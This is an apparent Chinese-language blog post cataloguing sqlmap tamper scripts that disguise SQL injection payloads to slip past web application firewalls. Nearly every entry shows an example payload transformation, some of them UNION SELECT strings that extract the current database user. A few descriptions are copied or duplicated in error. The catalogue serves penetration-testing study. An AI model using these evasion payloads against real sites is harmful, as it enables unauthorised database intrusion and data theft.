使用sqlmap中的tamper脚本绕过waf

使用sqlmap中tamper脚本绕过waf

脚本名：0x2char.py

作用：用UTF-8全角对应字符替换撇号字符

作用：用等价的CONCAT（CHAR（），...）对应替换每个（MySQL）0x <hex>编码的字符串

测试对象：

- MySQL 4，5.0和5.5

```
>>> tamper('SELECT 0xdeadbeef')
    'SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))'
```

脚本名：apostrophemask.py

作用：用UTF-8全角对应字符替换撇号字符

```
>>> tamper("1 AND '1'='1")
    '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
```

脚本名：apostrophenullencode.py

作用：用它的非法双字节替代撇号字符

```
>>> tamper("1 AND '1'='1")
    '1 AND %00%271%00%27=%00%271'
```

脚本名：appendnullbyte.py

作用：在有效负荷末尾追加编码的空字节字符

需求：

- Microsoft Access

笔记：

- 用于在后端绕过弱Web应用程序防火墙时使用
- 数据库管理系统是Microsoft Access

```
>>> tamper('1 AND 1=1')
    '1 AND 1=1%00'
```

脚本名：base64encode.py

作用：用base64编码替换

```
>>> tamper("1' AND SLEEP(5)#")
    'MScgQU5EIFNMRUVQKDUpIw=='
```

脚本名：between.py

作用：

1. 用'NOT BETWEEN 0 AND # '代替大于运算符（'>'）
2. 用'BETWEEN # AND # '代替等号运算符（'='）

测试对象：

- Microsoft SQL Server 2005
- MySQL 4，5.0和5.5

- Oracle 10g
- PostgreSQL 8.3,8.4,9.0

笔记:

- 有效绕过弱的Web应用程序防火墙过滤大于字符
- BETWEEN子句是SQL标准。 因此，这个篡改脚本应该针对所有数据库

```
>>> tamper('1 AND A > B--')
    '1 AND A NOT BETWEEN 0 AND B--'
    >>> tamper('1 AND A = B--')
    '1 AND A BETWEEN B AND B--'
```

脚本名：bluecoat.py

作用：用有效的随机空白字符替换SQL语句后的空格字符，之后用操作符LIKE替换字符'='

需求:

- 如WAF文件所述，WAF激活的Blue Coat SGOS

测试对象:

- MySQL 5.1，SGOS

笔记:

- 用于绕过Blue Coat推荐的WAF规则配置

```
>>> tamper('SELECT id FROM users WHERE id = 1')
    'SELECT%09id FROM%09users WHERE%09id LIKE 1'
```

脚本名：chardoubleencode.py

作用: 双重网址编码给定有效负载中的所有字符（不处理已经编码的）

```
>>> tamper('SELECT FIELD FROM%20TABLE')

'%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
'
```

脚本名：charencode.py

作用：Url对给定有效负载中的所有字符进行编码（尚未处理编码）

测试对象:

- Microsoft SQL Server 2005
- MySQL 4，5.0和5.5
- Oracle 10g
- PostgreSQL 8.3,8.4,9.0

笔记:

- 非常有用，可以绕过非常弱的Web应用程序防火墙在通过其规则集处理请求之前对请求进行url解码
- Web服务器无论如何都会通过url解码，因此它应该对任何DBMS都有效

```
>>> tamper('SELECT FIELD FROM%20TABLE')
    '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'
```

脚本名：charunicodeencode.py

作用：字符串 unicode 编码

```
>>> tamper('SELECT FIELD%20FROM TABLE')

'%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%
u0041%u0042%u004C%u0045'
```

脚本名：equaltolike.py

作用：like 代替等号

```
>>> tamper('SELECT * FROM users WHERE id=1')
    'SELECT * FROM users WHERE id LIKE 1'
```

脚本名：space2dash.py

作用：绕过过滤'=' 替换空格字符（"），（'-'）后跟一个破折号注释，一个随机字符串和一个新行（'n'）

```
>>> tamper('1 AND 9227=9227')
    '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
```

脚本名：greatest.py

作用：绕过过滤'>' ,用GREATEST替换大于号。

```
>>> tamper('1 AND A > B')
    '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
```

脚本名：space2hash.py

作用：空格替换为#号 随机字符串 以及换行符

```
>>> tamper('1 AND 9227=9227')
    '1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227'
```

脚本名：halfversionedmorekeywords.py

作用：当数据库为mysql时绕过防火墙，每个关键字之前添加mysql版本评论

```
tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS
CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")

"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0
CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
```

脚本名：space2morehash.py

作用：空格替换为 #号 以及更多随机字符串 换行符

```
>>> tamper('1 AND 9227=9227')
    '1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227'
```

脚本名：ifnull2ifisnull.py

作用：绕过对 IFNULL 过滤。 替换类似'IFNULL(A, B)'为'IF(ISNULL(A), B, A)'

```
>>> tamper('IFNULL(1, 2)')
    'IF(ISNULL(1),2,1)'
```

脚本名：space2mssqlblank.py(mssql)

作用：空格替换为其它空符号

```
>>> tamper('SELECT id FROM users')
    'SELECT%A0id%0BFROM%0Cusers'
```

脚本名：space2mssqlhash.py

作用：替换空格

```
>>> tamper('1 AND 9227=9227')
    '1%23%0AAND%23%0A9227=9227'
```

脚本名：modsecurityversioned.py

作用：过滤空格，包含完整的查询版本注释

```
>>> tamper('1 AND 2>1--')
    '1 /*!30874AND 2>1*/--'
```

脚本名：space2mysqlblank.py

作用：空格替换其它空白符号(mysql)

```
>>> tamper('SELECT id FROM users')
    'SELECT%A0id%0BFROM%0Cusers'
```

脚本名：space2mysqldash.py

作用：替换空格字符（”） （’ – ‘）后跟一个破折号注释一个新行（’ n’）

注：之前有个mssql的 这个是mysql的

```
>>> tamper('1 AND 9227=9227')
    '1--%0AAND--%0A9227=9227'
```

脚本名：multiplespaces.py

作用：围绕SQL关键字添加多个空格

```
>>> tamper('1 UNION SELECT foobar')
    '1    UNION     SELECT   foobar'
```

脚本名：space2plus.py

作用：用+替换空格

```
>>> tamper('SELECT id FROM users')
    'SELECT+id+FROM+users'
```

脚本名：nonrecursivereplacement.py

作用：双重查询语句。取代predefined SQL关键字with表示 suitable for替代（例如 .replace（“SELECT”、””）） filters

```
>>> tamper('1 UNION SELECT 2--')
    '1 UNIOUNIONN SELESELECTCT 2--'
```

脚本名：space2randomblank.py

作用：代替空格字符（“”）从一个随机的空白字符可选字符的有效集

```
>>> tamper('SELECT id FROM users')
    'SELECT%0Did%0DFROM%0Ausers'
```

脚本名：sp_password.py

作用：追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

```
>>> tamper('1 AND 9227=9227-- ')
    '1 AND 9227=9227-- sp_password'
```

脚本名：unionalltounion.py

作用：替换UNION ALL SELECT为UNION SELECT

```
>>> tamper('-1 UNION ALL SELECT')
    '-1 UNION SELECT'
```

脚本名：randomcase.py

作用：随机大小写

```
>>> tamper('INSERT')
    'INseRt'
```

脚本名：unmagicquotes.py

作用：宽字符绕过 GPC addslashes

```
>>> tamper("1' AND 1=1")
    '1%bf%27-- '
```

脚本名：randomcomments.py

作用：用/**/分割sql关键字

```
>>> tamper('INSERT')
    'I/**/N/**/SERT'
```

脚本名：securesphere.py

作用：追加特制的字符串

```
>>> tamper('1 AND 1=1')
    "1 AND 1=1 and '0having'='0having'"
```

脚本名：versionedmorekeywords.py

作用：注释绕过

```
>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS
CHAR),CHAR(32)),CHAR(58,115,114,121,58))#')

'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURR
ENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'
```

脚本名：space2comment.py

作用：使用注释替换空格字符

```
>>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
```

脚本名：halfversionedmorekeywords.py

作用：关键字前加注释

```
>>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS
CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")

"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0
CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
```

每一个不曾起舞的日子 都是对生命的辜负

标签： Web安全

wlfsky
关注 - 1
粉丝 - 1
+加关注

» 下一篇： 浅谈JSON HiJacking攻击

posted @ 2018-06-13 18:15 wlfsky 阅读(3435) 评论(0) 编辑 收藏

· 董明珠坚决不裁员：员工少1000块钱能活下去 但没有工作很难活下去
· 小牛最便宜锂电车G0都市版发布：自动大灯/定速巡航、1799元
» 更多新闻...